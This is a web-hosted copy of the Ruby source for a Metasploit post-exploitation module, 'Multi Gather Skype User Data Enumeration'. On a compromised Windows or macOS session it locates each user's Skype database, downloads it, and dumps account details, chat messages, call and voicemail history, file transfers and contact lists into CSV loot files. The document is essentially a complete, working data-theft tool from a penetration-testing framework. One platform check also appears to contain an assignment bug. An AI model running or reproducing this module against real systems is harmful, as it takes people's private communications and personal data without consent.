Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/skype_enum.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'csv'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Post::OSX::System
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Multi Gather Skype User Data Enumeration',
18
'Description' => %q{
19
This module will enumerate Skype account settings, contact list, call history, chat logs,
20
file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
24
'Platform' => %w[osx win],
25
'SessionTypes' => [ 'meterpreter', 'shell' ],
26
'Compat' => {
27
'Meterpreter' => {
28
'Commands' => %w[
29
core_channel_close
30
core_channel_eof
31
core_channel_open
32
core_channel_read
33
stdapi_fs_search
34
stdapi_fs_separator
35
stdapi_fs_stat
36
]
37
}
38
},
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [],
42
'Reliability' => []
43
}
44
)
45
)
46
register_advanced_options(
47
[
48
# Set as an advanced option since it can only be useful in shell sessions.
49
OptInt.new('TIMEOUT', [true, 'Timeout in seconds when downloading main.db on a shell session.', 90]),
50
]
51
)
52
end
53
54
def run
55
# syinfo is only on meterpreter sessions
56
print_status("Running Skype enumeration against #{sysinfo['Computer']}") unless sysinfo.nil?
57
58
# Ensure that SQLite3 gem is installed
59
begin
60
require 'sqlite3'
61
rescue LoadError
62
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
63
return
64
end
65
66
if session.platform =~ /java/
67
# Make sure that Java Meterpreter on anything but OSX will exit
68
if session.platform !~ /osx/
69
print_error('This session type and platform are not supported.')
70
return
71
end
72
# Iterate thru each user profile on as OSX System for users not in the default install
73
users = get_users.collect { |p| p['uid'].to_i > 500 ? p : nil }.compact
74
users.each do |p|
75
next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])
76
77
db_in_loot = download_db(p)
78
79
next if db_in_loot.nil?
80
81
process_db(db_in_loot, p['name'])
82
end
83
elsif ((session.platform = - 'windows')) && (session.type == 'meterpreter')
84
# Iterate thru each user profile in a Windows System using Meterpreter Post API
85
grab_user_profiles.each do |p|
86
if check_skype(p['AppData'], p['UserName'])
87
db_in_loot = download_db(p)
88
process_db(db_in_loot, p['UserName'])
89
end
90
end
91
else
92
print_error('This session type and platform are not supported.')
93
end
94
end
95
96
# Check if Skype is installed. Returns true or false.
97
def check_skype(path, user)
98
dirs = []
99
if session.type == 'meterpreter'
100
session.fs.dir.foreach(path) do |d|
101
dirs << d
102
end
103
else
104
dirs = cmd_exec("ls -m \"#{path}\"").split(', ')
105
end
106
dirs.each do |dir|
107
if dir =~ /Skype/
108
print_good("Skype account found for #{user}")
109
return true
110
end
111
end
112
print_error("Skype is not installed for #{user}")
113
return false
114
end
115
116
# Download file using Meterpreter functionality and returns path in loot for the file
117
def download_db(profile)
118
if session.type == 'meterpreter'
119
if session.platform == 'osx'
120
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/", 'main.db', true)
121
else
122
file = session.fs.file.search("#{profile['AppData']}\\Skype", 'main.db', true)
123
end
124
else
125
file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact
126
end
127
128
file_loc = store_loot(
129
'skype.config',
130
'binary/db',
131
session,
132
'main.db',
133
"Skype Configuration database for #{profile['UserName']}"
134
)
135
136
file.each do |db|
137
if session.type == 'meterpreter'
138
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
139
print_status("Downloading #{maindb}")
140
session.fs.file.download_file(file_loc, maindb)
141
else
142
print_status("Downloading #{db}")
143
# Giving it 1:30 minutes to download since the file could be several MB
144
maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])
145
if maindb.nil?
146
print_error('Could not download the file. Set the TIMEOUT option to a higher number.')
147
file_loc = nil
148
break
149
end
150
# Saving the content as binary so it can be used
151
output = ::File.open(file_loc, 'wb')
152
maindb.each_line do |d|
153
output.puts(d)
154
end
155
output.close
156
end
157
print_good("Configuration database saved to #{file_loc}")
158
end
159
return file_loc
160
end
161
162
# Saves rows returned from a query to a given CSV file
163
def save_csv(data, file)
164
CSV.open(file, 'w') do |csvwriter|
165
data.each do |record|
166
csvwriter << record
167
end
168
end
169
end
170
171
# Extracts the data from the DB in to a CSV file
172
def process_db(db_path, user)
173
db = SQLite3::Database.new(db_path)
174
175
# Extract information for accounts configured in Skype
176
print_status('Enumerating accounts')
177
user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
178
"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
179
datetime("timestamp","unixepoch")"registration_timestamp",
180
"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
181
"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
182
"birthday", "gender", "languages", "country", "province", "city", "phone_home",
183
"phone_office", "phone_mobile", "emails", "homepage", "about",
184
datetime("profile_timestamp","unixepoch"), "received_authrequest",
185
"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
186
"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
187
"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
188
"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
189
"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
190
datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
191
"verified_email", "verified_company" FROM Accounts;')
192
193
# Check if an account exists and if it does enumerate if not exit.
194
if user_rows.length > 1
195
user_info = store_loot(
196
'skype.accounts',
197
'text/plain',
198
session,
199
'',
200
'skype_accounts.csv',
201
"Skype User #{user} Account information from configuration database."
202
)
203
print_good("Saving account information to #{user_info}")
204
save_csv(user_rows, user_info)
205
else
206
print_error("No skype accounts are configured for #{user}")
207
return
208
end
209
210
# Extract chat log from the database
211
print_status('Extracting chat message log')
212
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
213
datetime("timestamp","unixepoch"), "body_xml",
214
"remote_id" FROM "Messages" WHERE type == 61;')
215
chat_log = store_loot('skype.chat',
216
'text/plain',
217
session,
218
'',
219
'skype_chatlog.csv',
220
"Skype User #{user} chat log from configuration database.")
221
222
if cl_rows.length > 1
223
print_good("Saving chat log to #{chat_log}")
224
save_csv(cl_rows, chat_log)
225
else
226
print_error('No chat logs where found!')
227
end
228
229
# Extract file transfer history
230
print_status('Extracting file transfer history')
231
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
232
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
233
"filepath", "filename", "filesize", "bytestransferred",
234
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
235
236
file_transfer = store_loot('skype.filetransfer',
237
'text/csv',
238
session,
239
'',
240
'skype_filetransfer.csv',
241
"Skype User #{user} file transfer history.")
242
# Check that we have actual file transfers to report
243
if ft_rows.length > 1
244
print_good("Saving file transfer history to #{file_transfer}")
245
save_csv(ft_rows, file_transfer)
246
else
247
print_error('No file transfer history was found!')
248
end
249
250
# Extract voicemail history
251
print_status('Extracting voicemail history')
252
vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
253
"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
254
"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
255
"size", "path", "xmsg" FROM "Voicemails";')
256
257
voicemail = store_loot('skype.voicemail',
258
'text/csv',
259
session,
260
'',
261
'skype_voicemail.csv',
262
"Skype User #{user} voicemail history.")
263
264
if vm_rows.length > 1
265
print_good("Saving voicemail history to #{voicemail}")
266
save_csv(vm_rows, voicemail)
267
else
268
print_error('No voicemail history was found!')
269
end
270
271
# Extracting call log
272
print_status('Extracting call log')
273
call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
274
"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
275
"is_incoming", "is_conference", "is_on_hold",
276
datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
277
"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
278
279
call_log = store_loot('skype.callhistory',
280
'text/csv',
281
session,
282
'',
283
'skype_callhistory.csv',
284
"Skype User #{user} call history.")
285
if call_rows.length > 1
286
print_good("Saving call log to #{call_log}")
287
save_csv(call_rows, call_log)
288
else
289
print_error('No call log was found!')
290
end
291
292
# Extracting contact list
293
print_status('Extracting contact list')
294
ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
295
"birthday", "languages", "country", "province", "city", "phone_home",
296
"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
297
"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
298
"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
299
"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
300
"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
301
"main_phone", "phone_home_normalized", "phone_office_normalized",
302
"phone_mobile_normalized", "verified_email", "verified_company"
303
FROM "Contacts";')
304
305
contact_log = store_loot('skype.contactlist',
306
'text/csv',
307
session,
308
'',
309
'skype_contactlist.csv',
310
"Skype User #{user} contact list.")
311
if ct_rows.length > 1
312
print_good("Saving contact list to #{contact_log}")
313
save_csv(ct_rows, contact_log)
314
end
315
end
316
end
317
318